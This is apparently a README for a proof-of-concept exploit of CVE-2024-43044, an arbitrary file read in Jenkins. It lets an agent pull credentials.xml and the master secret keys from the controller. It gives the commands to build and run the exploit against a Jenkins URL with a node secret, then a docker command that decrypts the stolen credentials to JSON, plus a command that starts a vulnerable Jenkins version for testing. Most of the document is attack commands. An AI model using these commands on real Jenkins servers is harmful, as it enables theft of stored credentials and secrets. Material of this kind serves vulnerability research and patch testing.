CVE-2024-43044 PoC — Jenkins 安全漏洞

介绍

## Intro
This is an exploit for CVE-2024-43044, an arbitrary file read that allows an agent to fetch files from the controller.

The exploit will use the vulnerability to read credentials.xml file and get secret keys to decrypt it.

Initial code : https://github.com/convisolabs/CVE-2024-43044-jenkins
Original writeup : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/

## Building the exploit
```sh
mvn package
```

## Running the exploit

```sh
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
```

### Decrypt credentials.xml
```sh
docker run \
  --rm \
  --network none \
  --workdir / \
  --mount "type=bind,src=$PWD/master.key,dst=/master.key" \
  --mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
  --mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
  docker.io/hoto/jenkins-credentials-decryptor:latest \
  /jenkins-credentials-decryptor \
    -m master.key \
    -s hudson.util.Secret \
    -c credentials.xml \
    -o json
```

## Testing 

You can test it in vulnerable version using docker:

```sh
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
```

Once you have a jenkins runnning, setup an agent.

文件快照

备注